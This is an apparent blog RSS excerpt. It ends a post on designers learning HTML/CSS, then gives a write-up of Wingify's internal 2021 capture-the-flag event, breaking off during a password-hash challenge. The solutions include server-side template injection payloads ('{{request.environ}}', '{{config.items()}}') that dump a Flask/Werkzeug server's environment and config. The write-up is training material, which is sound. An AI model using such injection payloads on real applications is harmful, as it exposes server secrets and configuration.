16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Deliver Design Handoffs Easily&lt;/h3&gt; &lt;p&gt;Design handoff to developers is the end-product of all the research, brainstorming, countless iterations, and preliminary testings at the designer&apos;s end.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/07/Image2.png&quot;/&gt; &lt;/div&gt; &lt;p&gt;But, what if the final outcome still does not match the designs? Maybe there were some grids that the design failed to cover, some measurements went erratic, or images were too small to fit the actual screen size as per the pre-defined blueprint. In such situations, developers have to take extra steps, write some additional codes, rectify the issues, and align the faulty designs.&lt;/p&gt; &lt;p&gt;However, with some basic understanding of code, designers are in a better position to spot technical limitations at an initial stage. They can quickly make necessary amendments, and even review the work done by the development team at the QA stage to ensure the launch of a high-quality product.&lt;/p&gt; &lt;p&gt;&lt;em&gt;Designers with basic coding knowledge are the ones who can make smooth handoffs for developers and simplify their otherwise complicated job.&lt;/em&gt;&lt;/p&gt; &lt;h3 id=&quot;use-advanced-dev-tools-to-boost-design-process&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#use-advanced-dev-tools-to-boost-design-process&quot; aria-label=&quot;use advanced dev tools to boost design process permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Use Advanced Dev-tools to Boost Design Process&lt;/h3&gt; &lt;p&gt;In an agile development process, it is imperative to fail fast. Meaning, it takes a lot of time to explain ideas, wait for prototypes to be designed, coded, and reviewed or tested, only to realize the output sucks. It stands nowhere near the originally drafted prototype. How to cope up with such scenarios? Test ideas directly on a live website using dev-tools.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/07/Image3.png&quot;/&gt; &lt;/div&gt; &lt;p&gt;Designers with a some understanding of HTML/CSS can leverage these developer tools to test ideas on the live website and check their feasibility. Easily change the style of any page element, edit/omit a text, revamp image size, add or remove white space, choose frames to fit designs, and test how the final output behaves on different screen sizes. Such impromptu analysis eliminates multiple design back-and-forths and time spent reviewing final outputs at a developer&apos;s end.&lt;/p&gt; &lt;p&gt;Besides these in-built dev-tools, there are a host of &lt;a href=&quot;https://medium.com/better-programming/10-productivity-tools-for-front-end-developers-4021cdef6fcb&quot;&gt;extensions and plugins&lt;/a&gt; that designers with HTML/CSS knowledge can use to their advantage. Many visual website editors such as Webflow, Wix, etc. also serve handy to prepare quick designs and hand-to-hand reviews. Designers can also use some advanced features such as &lt;a href=&quot;https://vwo.com/ab-testing/&quot;&gt;A/B testing by VWO to test their designs&lt;/a&gt; and check which ones get more traction.&lt;/p&gt; &lt;h3 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h3&gt; &lt;p&gt;To conclude, it&apos;s not a designer&apos;s core job to code. There&apos;s an entire community of professional developers with extensive coding knowledge to do so. However, it&apos;s about learning, developing new skills, and adding an asset to one&apos;s advantage. Designing functional creatives with HTML/CSS knowledge is not just an added skill set you possess, but an ability to reduce workload, accelerate processes, and pave the way to healthy process unification.&lt;/p&gt; &lt;h3 id=&quot;next-steps&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#next-steps&quot; aria-label=&quot;next steps permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Next steps&lt;/h3&gt; &lt;p&gt;To start your journey as a UX designer with HTML/CSS knowledge, go through this list of free online resources to choose from.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Courses&lt;/strong&gt; -&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://www.khanacademy.org/computing/computer-programming/html-css&quot;&gt;Khan Academy&lt;/a&gt; - Khan academy has completely free, interactive, and highly structured courses on HTML and CSS. They are great at starting you off on your coding journey.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://www.codecademy.com/learn/learn-html&quot;&gt;Codecademy&lt;/a&gt; - Codecademy also provides really good, interactive HTML and CSS courses. While not completely free, it still has a lot of good content available for no price.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Helpful Resources&lt;/strong&gt; -&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/&quot;&gt;Mozilla Developer Network&lt;/a&gt; - One of the more legitimate sources that accurately describes and explains what each HTML, CSS, JavaScript or jQuery element is or does.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://www.w3schools.com/&quot;&gt;W3 Schools&lt;/a&gt; - This site would be useful when you want to get simple, human-language explanations of certain HTML and CSS elements.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://codepen.io/&quot;&gt;CodePen&lt;/a&gt; — This is an online, real-time, code editor. You can also find tons of nice examples and projects here.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://www.dontfeartheinternet.com/&quot;&gt;Don’t Fear the Internet&lt;/a&gt; - It is a super eight-part series that gets you going with HTML &amp;#x26; CSS — it even delves into the all-important topic of typography.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://css-tricks.com/guides/beginner/&quot;&gt;Just Starting Out with CSS &amp;#x26; HTML&lt;/a&gt; - A collection of articles on CSS-Tricks to get started with HTML and CSS.&lt;/p&gt;</content:encoded><author>Randeep Singh</author></item><item><title><![CDATA[Wingify CTF 2k21]]></title><description><![CDATA[Here at Wingify, we love solving problems and puzzles. To spread this spirit of problem solving, we organized the fourth edition of Capture…]]></description><link>https://engineering.wingify.com//posts/ctf-2k21/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/ctf-2k21/</guid><pubDate>Thu, 20 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-hero-image.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;Here at Wingify, we love solving problems and puzzles. To spread this spirit of problem solving, we organized the fourth edition of &lt;a href=&quot;https://engineering.wingify.com/posts/wingify-capture-the-flag/&quot;&gt;Capture The Flag&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;In case you’re wondering, Capture the flag AKA CTF is a cybersecurity competition where the participants play hacker games or challenges to find hidden flags by either hacking, finding vulnerabilities, or solving codes legally and safely. It is a place where we can learn what happens when things are implemented improperly and protect ourselves. Generally, CTF is played as a team game.&lt;/p&gt; &lt;p&gt;There are mainly three types of CTF:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Jeopardy - Solve as many challenges as you can in a given amount of time. In Jeopardy, the challenges are present in unique and intriguing ways which can be solved using networking, programming, applications, mobile, forensics, reverse engineering, and cryptography.&lt;/li&gt; &lt;li&gt;Attack-Defense - Attack a server to find the flag while denying access to your competitors. Your team has to do two tasks together - attack the system breaking through the defense in the server and defense made by other competitors and create fortification so that your competitors can’t get through.&lt;/li&gt; &lt;li&gt;The third type is a combination of both Jeopardy and Attack-Defense.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Our iteration of CTF was a 3 hour event was organized in a Jeopardy style format. Participants worked in groups of up to 3 to solve multiple challenges. Each challenge had a flag with the format flag{congr4tz&lt;em&gt;y0u&lt;/em&gt;found_1t}.&lt;/p&gt; &lt;h2 id=&quot;teams-problems-and-scoring&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#teams-problems-and-scoring&quot; aria-label=&quot;teams problems and scoring permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Teams, Problems, and Scoring:&lt;/h2&gt; &lt;p&gt;The CTF 2k21 was open to all employees in Wingify and it provided a good chance for inter-departmental teams. We had around 15 teams who participated in the event though most of the participants were from the engineering team. &lt;/p&gt; &lt;p&gt;The problems were divided into three categories:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Easy - 500 pts&lt;/li&gt; &lt;li&gt;Medium - 1000 pts&lt;/li&gt; &lt;li&gt;Hard - 1500 pts&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;The team which completes a challenge first was awarded additional points and as each team solves that challenge value of these extra points for the team decreases.&lt;/p&gt; &lt;p&gt;Hints were available but would cost some points based on the level of difficulty.&lt;/p&gt; &lt;h2 id=&quot;challenges-and-solutions&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#challenges-and-solutions&quot; aria-label=&quot;challenges and solutions permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Challenges and solutions&lt;/h2&gt; &lt;p&gt;The challenges for CTF 2K21 were named on countries with a tagline and a statement which acted as a hint for the challenges. All challenges are shared below in the entirety along with solutions from the winning team.&lt;/p&gt; &lt;h3 id=&quot;1-spain---focus&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#1-spain---focus&quot; aria-label=&quot;1 spain focus permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#1 Spain - FOCUS!!&lt;/h3&gt; &lt;p&gt;A Russian hacker left us something that allows us to track him in this image, can you find it?&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px; width: 50%; margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-spain-question-image.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h4 id=&quot;solution&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution&quot; aria-label=&quot;solution permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;In this challenge, we get an image. A pitch-black image. So, it is a case of image steganography, but of what kind? There are so many ways to hide a message in an image that you can’t have a set of methods to look into to decode the message. We took two approaches:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Look at the binary data of the image&lt;/li&gt; &lt;li&gt;Edit the image using photo editing tools&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;We found the flag the second way by the second method. On &lt;a href=&quot;https://www.befunky.com/&quot;&gt;https://www.befunky.com/&lt;/a&gt;, we edited the exposure by maxing the brightness and reducing the contrast, and we found:&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px; width: 50%; margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-spain-answer-image.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;So with the correct settings of brightness, contrast, and saturation, we found the flag.&lt;/p&gt; &lt;h3 id=&quot;2-brazil---i-heard-you-are-good-at-breaking-codes-can-you-crack-this-ciphertext&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#2-brazil---i-heard-you-are-good-at-breaking-codes-can-you-crack-this-ciphertext&quot; aria-label=&quot;2 brazil i heard you are good at breaking codes can you crack this ciphertext permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#2 Brazil - I heard you are good at breaking codes, can you crack this ciphertext?&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;7=28LG&amp;lt;uI3AG&amp;#39;=&amp;quot;~FCC%(;&amp;quot;C&amp;amp;N&lt;/code&gt;&lt;/p&gt; &lt;h4 id=&quot;solution-1&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-1&quot; aria-label=&quot;solution 1 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;To crack this ciphertext. We first have to identify the cipher. Using &lt;a href=&quot;https://www.dcode.fr/cipher-identifier&quot;&gt;https://www.dcode.fr/cipher-identifier&lt;/a&gt;, we found a list of possible ciphers. We decided to try each one of them one by one.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;ASCII85 - has invalid characters&lt;/li&gt; &lt;li&gt;Substitution Cipher - not possible without a dictionary&lt;/li&gt; &lt;li&gt;ROT47 gave us the right &lt;code class=&quot;language-text&quot;&gt;flag{vkFxbpvVlQOurrTWjQrU}&lt;/code&gt;&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;3-australia---hey-ninja-hattori&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#3-australia---hey-ninja-hattori&quot; aria-label=&quot;3 australia hey ninja hattori permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#3 Australia - Hey Ninja Hattori!&lt;/h3&gt; &lt;p&gt;Can you use your ninja skills to hack this website?&lt;/p&gt; &lt;p&gt;Link: &lt;a href=&quot;http://138.*.*.*:6142/home?name=Hattori&quot;&gt;http://138.*.*.*:6142/home?name=Hattori&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;solution-2&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-2&quot; aria-label=&quot;solution 2 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;The link provided in the problem has something to do with query param &lt;code class=&quot;language-text&quot;&gt;name&lt;/code&gt;; The value passed in the query param was being printed on the served HTML.&lt;/p&gt; &lt;p&gt;We tried putting values like CTF, flag, ctf_flag in the query param, and obviously, they did not work.&lt;/p&gt; &lt;p&gt;It looked like a case of Server-Side Includes (SSI) Injection as the param was being executed at the server when we tried passing the value inside double braces like &lt;code class=&quot;language-text&quot;&gt;{{34-12}}&lt;/code&gt;. We got some direction here. We looked for the server/templating engine used using the network requests and found the server was Python-based Werkzeug.&lt;/p&gt; &lt;p&gt;We looked for various possible exploits to access the server. We were able to print all the environment variables using &lt;code class=&quot;language-text&quot;&gt;{{request.environ}}&lt;/code&gt;, but the flag was not found there. Finally, after multiple tries, we found that the app config could also be printed using &lt;code class=&quot;language-text&quot;&gt;{{config.items()}}&lt;/code&gt; and the &lt;code class=&quot;language-text&quot;&gt;flag{hzATagZTDGVvBpAwKKwz}&lt;/code&gt; was hidden there.&lt;/p&gt; &lt;h3 id=&quot;4-egypt--can-you-crack-this-flawless-zig-zag-ciphertext&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#4-egypt--can-you-crack-this-flawless-zig-zag-ciphertext&quot; aria-label=&quot;4 egypt can you crack this flawless zig zag ciphertext permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#4 Egypt- Can you crack this flawless Zig-Zag ciphertext?&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;pXgf{lxt7gwleS8NICxac30}6R&lt;/code&gt;&lt;/p&gt; &lt;h4 id=&quot;solution-3&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-3&quot; aria-label=&quot;solution 3 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Solution&lt;/h4&gt; &lt;p&gt;It was a simple one for us. We looked for multiple zig-zag ciphers that were available and tried them all. We tried to use &lt;a href=&quot;https://www.dcode.fr/cipher-identifier&quot;&gt;https://www.dcode.fr/cipher-identifier&lt;/a&gt; cipher-identifier here. Rail fence cipher was a suggestion (though a bit below in the list), but it was named Zig-zag, so we gave it a try. We used this decoder &lt;a href=&quot;https://www.dcode.fr/rail-fence-cipher&quot;&gt;https://www.dcode.fr/rail-fence-cipher&lt;/a&gt; and a quick CMD+F on the page directly led us to the &lt;code class=&quot;language-text&quot;&gt;flag{wexcXlgSC3Rpx78I06tN}&lt;/code&gt;&lt;/p&gt; &lt;h3 id=&quot;5-congo---find-the-weakest-password-in-this-log-file&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#5-congo---find-the-weakest-password-in-this-log-file&quot; aria-label=&quot;5 congo find the weakest password in this log file permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;#5 Congo - Find the weakest password in this log file&lt;/h3&gt; &lt;p&gt;You know the drill!! Crack the hashes and capture the flag!&lt;/p&gt; &lt;p&gt;Link 1: &lt;a href=&quot;http://138.*.*.*:10007/system/login.php?username=name&amp;#x26;password=password&quot;&gt;http://138.*.*.*:10007/system/login.php?username=name&amp;#x26;password=password&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Link 2: &lt;a href=&quot;https://drive.google.com/file/d/1QI6BVM5UCPrICNpBJX2p-q0LA8-GSLHV/view&quot;&gt;https://drive.google.com/file/d/1QI6BVM5UCPrICNpBJX2p-q0LA8-GSLHV/view&lt;/a&gt;&lt;/p&gt; &lt;h4 id=&quot;solution-4&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#solution-4&quot; aria-label=&quot;solution 4 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 